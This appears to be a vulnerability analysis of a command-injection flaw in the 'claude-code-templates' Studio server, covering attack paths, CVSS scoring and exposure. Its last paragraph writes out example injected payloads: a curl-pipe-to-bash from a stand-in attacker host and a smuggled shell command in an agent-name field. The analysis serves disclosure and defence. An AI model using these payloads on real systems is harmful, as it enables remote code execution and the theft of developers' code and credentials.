Claude Code Templates CVE-2026-73222

Exploitation requires that the target developer is actively running claude-code-templates with the --studio flag, which is an opt-in feature that launches the vulnerable sandbox server on port 3444 - the vulnerability does not exist in default CLI usage. Two distinct attack paths exist with different preconditions: (1) LAN/direct-network path - requires the attacker to have TCP connectivity to the developer's machine on port 3444, which was previously bound to 0.0.0.0; no user interaction from the developer is needed beyond having Studio running, and no authentication is required; (2) Drive-by CSRF path - requires the attacker to convince the developer to load a malicious web page in a browser while Studio is simultaneously running; the attacker's JavaScript issues a cross-origin fetch that the server accepted due to Access-Control-Allow-Origin: *. Both paths require no authentication credentials. The exploitation is limited to the duration Studio is running and does not persist if the process is stopped. Platform is not a limiting factor - the Node.js code runs cross-platform and both spawn and CORS behavior are consistent across Linux, macOS, and Windows.

The vendor-assigned CVSS 8.8 vector (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) scores this primarily against the CSRF drive-by vector where UI:R reflects the browser visit requirement; however, the LAN-direct attack path requires no user interaction at all, making UI:N arguably more accurate for the worst-case scenario - an independent assessment yields 9.8 critical under that framing. No EPSS score was included in the provided intelligence data, so exploitation probability cannot be quantified numerically. The CVE is not listed in CISA KEV, meaning active widespread exploitation is not confirmed; the risk is theoretical but credible given that the technical disclosure is detailed enough for trivial reproduction. Real-world exposure is limited to developers actively using the --studio flag: this is not a default configuration, which meaningfully narrows the affected population. That said, even a mid-sized development team in malbork running a shared office network would face genuine exposure if any engineer used --studio on vulnerable versions, since the 0.0.0.0 binding made every LAN peer a potential unauthenticated attacker. The combination of zero-authentication, network-reachable command execution, and full C/I/A impact makes this a genuine priority for any team using the studio feature, despite the absence of KEV confirmation.

A developer on a shared office network runs claude-code-templates --studio, exposing port 3444 on all interfaces; a network peer sends a direct POST to http://[developer-ip]:3444/api/execute with a JSON body of {"prompt": "hello; curl http://attacker.com/shell.sh | bash"}, which the server passes to spawn('claude', ['hello; curl ...'], {shell: true}), causing the shell to execute the injected command with the developer's OS privileges and exfiltrating source code and credentials. Alternatively, an attacker hosts a malicious webpage that uses JavaScript fetch() to POST to http://127.0.0.1:3444/api/install-agent with {"agentName": "x; whoami > /tmp/pwned"} - since the server previously sent Access-Control-Allow-Origin: *, the browser delivers the response and the injected command executes silently in the background while the developer reads what appears to be an innocuous page. No public exploit code has been confirmed at time of analysis, though the level of technical detail in the public advisory and commit diff makes independent reproduction straightforward.